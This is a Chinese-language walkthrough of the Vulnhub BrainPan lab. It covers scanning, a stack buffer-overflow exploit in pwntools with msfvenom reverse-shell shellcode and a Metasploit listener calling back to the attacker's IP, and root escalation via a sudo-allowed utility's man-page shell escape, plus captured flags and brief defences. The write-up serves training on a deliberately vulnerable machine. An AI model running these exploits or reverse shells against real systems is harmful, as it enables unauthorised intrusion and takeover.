[Vulnhub] BrainPan BOF缓冲区溢出+Man权限提升
字数 939 2025-08-19 12:40:50

BrainPan 缓冲区溢出漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 192.168.8.105
  • 开放端口:
    • 9999/tcp: 运行BrainPan服务
    • 10000/tcp: 运行Python SimpleHTTPServer (Python 2.7.3)

1.2 端口扫描命令

nmap -p- 192.168.8.105 -sC -sV -Pn --min-rate 1000

1.3 目录枚举

dirsearch -u "http://192.168.8.105:10000/"

发现目录:

  • /bin/ (返回200状态码)

2. 缓冲区溢出漏洞利用

2.1 初始分析

  • 目标服务: BrainPan (运行在9999端口)
  • 漏洞类型: 缓冲区溢出

2.2 确定溢出点

  1. 生成测试模式字符串:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
  1. 发送测试字符串并观察崩溃点:
nc 192.168.8.106 9999
  1. 计算偏移量:
  • 崩溃点: 0x35724134
  • 使用Metasploit工具计算:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
  • 确定偏移量: 524字节

2.3 构造初始POC

from pwn import *

bof = b"\x41"*524
eip = b"\x42"*4
PAYLOAD = bof + eip

conn = remote('192.168.8.106', 9999)
conn.send(PAYLOAD)
conn.close()

2.4 寻找JMP ESP指令

  • 目标: 找到可跳转的JMP ESP指令地址
  • 发现地址: 0x311712F3 (小端序: \xF3\x12\x17\x31)

2.5 确定Shellcode空间

  • ESP范围: 0x005FF910 到 0x005FFB20
  • 可用空间: 528字节

3. 生成并部署Shellcode

3.1 生成Windows Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.107 LPORT=10032 -b "\x00" -f py

3.2 设置Metasploit监听

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lport 10032
msf6 > set lhost 192.168.8.107
msf6 > exploit

3.3 完整利用代码

from pwn import *

bof = b"\x41"*524
eip = b"\xF3\x12\x17\x31"  # 小端序
nop = b"\x90"*20

# 生成的Shellcode
buf = b""
buf += b"\xba\xd1\xfd\xdb\x70\xdb\xd8\xd9\x74\x24\xf4\x5f\x31"
[...省略部分shellcode...]
buf += b"\x14\x4f\x2e\x71"

PAYLOAD = bof + eip + nop + buf

conn = remote('192.168.8.106', 9999)
conn.send(PAYLOAD)
conn.close()

3.4 Linux靶机Shellcode生成

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.8.107 LPORT=10032 -b "\x00" -e x86/shikata_ga_nai -f py

4. 权限提升

4.1 发现提权向量

  • 发现可执行文件: /home/anansi/bin/anansi_util
  • 该文件具有sudo权限

4.2 利用方法

sudo /home/anansi/bin/anansi_util manual whoami

在manual页面中输入:

!/bin/bash

4.3 获取flag

  • 本地flag: s81jf9h3dadd
  • 提权后flag: dh1091u2dm

5. 关键点总结

  1. 偏移量确定: 524字节
  2. JMP ESP地址: 0x311712F3 (小端序: \xF3\x12\x17\x31)
  3. Shellcode空间: 528字节
  4. NOP雪橇: 20字节
  5. 权限提升: 利用anansi_util的手册功能执行命令

6. 防御建议

  1. 对输入进行长度验证
  2. 使用地址空间布局随机化(ASLR)
  3. 实施数据执行保护(DEP)
  4. 最小权限原则运行服务
  5. 定期更新和修补软件
BrainPan 缓冲区溢出漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 192.168.8.105 开放端口: 9999/tcp: 运行BrainPan服务 10000/tcp: 运行Python SimpleHTTPServer (Python 2.7.3) 1.2 端口扫描命令 1.3 目录枚举 发现目录: /bin/ (返回200状态码) 2. 缓冲区溢出漏洞利用 2.1 初始分析 目标服务: BrainPan (运行在9999端口) 漏洞类型: 缓冲区溢出 2.2 确定溢出点 生成测试模式字符串: 发送测试字符串并观察崩溃点: 计算偏移量: 崩溃点: 0x35724134 使用Metasploit工具计算: 确定偏移量: 524字节 2.3 构造初始POC 2.4 寻找JMP ESP指令 目标: 找到可跳转的JMP ESP指令地址 发现地址: 0x311712F3 (小端序: \xF3\x12\x17\x31) 2.5 确定Shellcode空间 ESP范围: 0x005FF910 到 0x005FFB20 可用空间: 528字节 3. 生成并部署Shellcode 3.1 生成Windows Shellcode 3.2 设置Metasploit监听 3.3 完整利用代码 3.4 Linux靶机Shellcode生成 4. 权限提升 4.1 发现提权向量 发现可执行文件: /home/anansi/bin/anansi_util 该文件具有sudo权限 4.2 利用方法 在manual页面中输入: 4.3 获取flag 本地flag: s81jf9h3dadd 提权后flag: dh1091u2dm 5. 关键点总结 偏移量确定 : 524字节 JMP ESP地址 : 0x311712F3 (小端序: \xF3\x12\x17\x31) Shellcode空间 : 528字节 NOP雪橇 : 20字节 权限提升 : 利用anansi_ util的手册功能执行命令 6. 防御建议 对输入进行长度验证 使用地址空间布局随机化(ASLR) 实施数据执行保护(DEP) 最小权限原则运行服务 定期更新和修补软件